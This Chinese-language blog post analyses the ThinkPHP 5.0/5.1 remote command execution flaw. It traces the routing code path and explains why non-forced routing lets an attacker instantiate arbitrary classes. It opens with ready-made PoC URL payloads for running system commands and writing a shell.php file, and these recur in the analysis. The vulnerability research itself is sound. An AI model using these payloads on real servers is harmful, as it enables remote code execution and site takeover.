ThinkPHP 5.0 & 5.1遠(yuǎn)程命令執(zhí)行漏洞利用分析

0x01 漏洞利用方式

5.0版本POC(不唯一)

命令執(zhí)行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系統(tǒng)命令]
文件寫(xiě)入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

5.1版本POC(不唯一)

命令執(zhí)行:?s=index/\think\Request/input&filter=system&data=[系統(tǒng)命令]
文件寫(xiě)入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

0x02 漏洞分析

版本: Thinkphp v5.1.29(影響版本<5.1.31和<5.0.23)
本次分析環(huán)境:PHP/7.0.12 + Apache2

ThinkPHP官方在12月9日發(fā)布了5.*版本的更新,更新說(shuō)明“由于框架對(duì)控制器名沒(méi)有進(jìn)行足夠的檢測(cè)會(huì)導(dǎo)致在沒(méi)有開(kāi)啟強(qiáng)制路由的情況下可能的getshell漏洞”,所以漏洞的觸發(fā)在路由調(diào)度時(shí),thinkphp中由函數(shù)pathinfo()來(lái)獲取路由,定位函數(shù)查看:/thinkphp/library/think/Request.php:678行


pathinfo()

其中在文件31行定義了var_pathinfo的默認(rèn)值為s :

// PATHINFO變量名 用于兼容模式
'var_pathinfo'   => 's'

所以當(dāng)請(qǐng)求報(bào)文中以GET形式傳入s參數(shù)是,則將其值作為pathinfo。全局查找pathinfo()函數(shù)的調(diào)用情況,可以發(fā)現(xiàn)同文件下path函數(shù)對(duì)其進(jìn)行調(diào)用,定位path()函數(shù)查看:/thinkphp/library/think/Request.php:716行
path()

調(diào)用pathinfo()函數(shù)獲取路由信息,并將返回值賦值給了$this->path,所以我們可以控制該變量,即path()函數(shù)的返回值,繼續(xù)跟蹤path函數(shù)的調(diào)用情況,定位函數(shù)routecheck():/thinkphp/library/think/App.php:583行


routecheck()

該函數(shù)進(jìn)行路由檢測(cè),且將我們可控的$path變量傳遞到了check()函數(shù)中進(jìn)行處理,定位查看check()函數(shù):/thinkphp/library/think/Route.php:877行


check()

這里我們就可以看出為何官方說(shuō)明,在開(kāi)啟強(qiáng)制路由的情況下不受該漏洞的影響,如果開(kāi)啟強(qiáng)制路由,則check處理傳入的由我們構(gòu)造的$url變量時(shí)會(huì)實(shí)例化RouteNotFoundException對(duì)象,即報(bào)出對(duì)應(yīng)的錯(cuò)誤。


RouteNotFoundException

而默認(rèn)路由解析情況下,check()函數(shù)實(shí)例化了UrlDispatch對(duì)象,并將$url傳遞給了構(gòu)造函數(shù)進(jìn)行處理,UrlDispatch繼承Dispatch,分析其父類(lèi)Dispatch的構(gòu)造函數(shù),跟蹤查看:library/think/route/Dispatch.php:64行


Dispatch構(gòu)造函數(shù)

傳入的$dispatch變量值賦值給了$this->dispatch,全局收索$this->diapatch的處理情況,最終會(huì)傳入U(xiǎn)rl類(lèi)中的init()函數(shù)進(jìn)行處理,跟蹤查看init()函數(shù):/thinkphp/library/think/route/dispatch/Url.php:20行


Url類(lèi)的init()

init()函數(shù)調(diào)用parseUrl()函數(shù)對(duì)$this->diapatch變量進(jìn)行處理,跟蹤查看:/thinkphp/library/think/route/dispatch/Url.php:37行


parseUrl()

ParseUrl()函數(shù)又將變量傳入到了parseUrlPath()函數(shù)中,繼續(xù)定位查看parseUrlPath()函數(shù):/thinkphp/library/think/route/Rule.php:951行


parseUrlPath()

利用‘/’對(duì)$url變量進(jìn)行分割,且$url的格式為‘模塊/控制器/操作’,將$url分割后的值存放在$path變量當(dāng)中,并返回到parseUrl()函數(shù),最終返回到Url類(lèi)中init()函數(shù): /thinkphp/library/think/route/dispatch/Url.php:20行


Url類(lèi)的init()

最終分割后封裝好的路由信息數(shù)組傳遞到了$result變量中,隨后傳遞到了Module的構(gòu)造函數(shù)進(jìn)行處理,由于Module的父類(lèi)也是Dispatch,即將$result值傳遞給了變量$this->dispatch,隨后調(diào)用Module類(lèi)的init()函數(shù)對(duì)$this->dispatch進(jìn)行處理,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行


Module類(lèi)的init()

在初始化模塊的判斷語(yǔ)句中,對(duì)$module進(jìn)行判斷,則需要$available的值為true,即需要is_dir($this->app->getAppPath() . $module 的判斷條件成立,由于默認(rèn)模塊是index,所以入口模塊為index,也可以用‘.’進(jìn)行替換。$this->dispatch的值最終傳遞到$this->controller中,init()函數(shù)處理完過(guò)后,進(jìn)入exec()函數(shù),查看函數(shù)代碼: /thinkphp/library/think/route/dispatch/Module.php:85行


exec()

exec()函數(shù)將變量$this->controller傳遞給了controller()函數(shù)進(jìn)行處理,繼續(xù)跟蹤controller()進(jìn)行查看:/thinkphp/library/think/App.php:720行


controller()

該函數(shù)中的$name變量是由我們控制的,隨后調(diào)用parseModuleAndClass()函數(shù)對(duì)其進(jìn)行出來(lái),跟進(jìn)parseModuleAndClass()函數(shù):/thinkphp/library/think/App.php:641行
parseModuleAndClass()

當(dāng)$name中存在’\’時(shí),直接將$name值賦給$class,然后實(shí)例化$class,并返回,這里可能有些人不知道為什么會(huì)實(shí)例化$class,在parseModuleAndClass()函數(shù)執(zhí)行后返回到controller()函數(shù)中


controller()

其中返回了$class變量,所以調(diào)用魔術(shù)方法__get()函數(shù)進(jìn)行處理,App類(lèi)是繼承于Container的,所以可以去查看Container類(lèi)中的魔術(shù)方法__get()

public function __get($name)
{
return $this->make($name);
}

__get()調(diào)用了make()函數(shù),跟蹤查看:/thinkphp/library/think/Container.php:260行


make()

make()將傳入的傳入的變量實(shí)例化為一個(gè)類(lèi),即controller()中$name為我們可以控制的值,可以通過(guò)構(gòu)造$name變量來(lái)實(shí)例化任何一個(gè)類(lèi),所以我們可以通過(guò)構(gòu)造s=index/\think\class/method來(lái)實(shí)例化\think\class類(lèi)并且執(zhí)行該類(lèi)的method方法達(dá)到控制程序流,由于Rule.php中parseUrlPath()函數(shù)中:

$url = str_replace('|', '/', $url);

所以也可以使用’|’進(jìn)行進(jìn)行構(gòu)造,即index|\think\class|method。在\think\Request類(lèi)中找到可以利用的方法input:


input()

通過(guò)構(gòu)造payload:

s=index/\think\Request/input&filter=phpinfo&data=1

即可調(diào)用phpinfo函數(shù),調(diào)用system()函數(shù)便可以任意命令執(zhí)行。


phpinfo

在\think\template\driver\file類(lèi)中找到可以任意寫(xiě)文件的方法write:


write()

所以通過(guò)構(gòu)造payload:

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
寫(xiě)入文件

便可以在網(wǎng)站根目錄寫(xiě)入任意惡意文件,從而達(dá)到控制目標(biāo)服務(wù)器的目的,可以調(diào)用進(jìn)行惡意操作的類(lèi)比較多。

對(duì)于Thinkphp5.0版本的,其路由控制器實(shí)現(xiàn)原理是一樣的,只是各種調(diào)用方式和函數(shù)名不太相同,這里不詳細(xì)分析,漏洞利用時(shí)調(diào)用的方法不一樣,通過(guò)查找可以利用app類(lèi)中的invokeFunction方法:
invokeFunction()

通過(guò)實(shí)例化ReflectionFunction類(lèi),調(diào)用function函數(shù),由于變量$var為數(shù)組,所以可以構(gòu)造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
phpinfo

通過(guò)構(gòu)造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

便可以達(dá)到任意寫(xiě)的目的:


寫(xiě)入文件

同5.1版本一樣,其parseUrlPath函數(shù)在處理$url時(shí)也進(jìn)行了替換處理:

$url = str_replace('|', '/', $url);

所以payload中的’/’也可以利用’|’進(jìn)行替換。該漏洞的利用方法不唯一,針對(duì)Thinkphp5.*的不同版本可以尋找不同的類(lèi)進(jìn)行調(diào)用。

漏洞分析僅用于學(xué)習(xí)!??!一切實(shí)際攻擊利用行為概不負(fù)責(zé)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容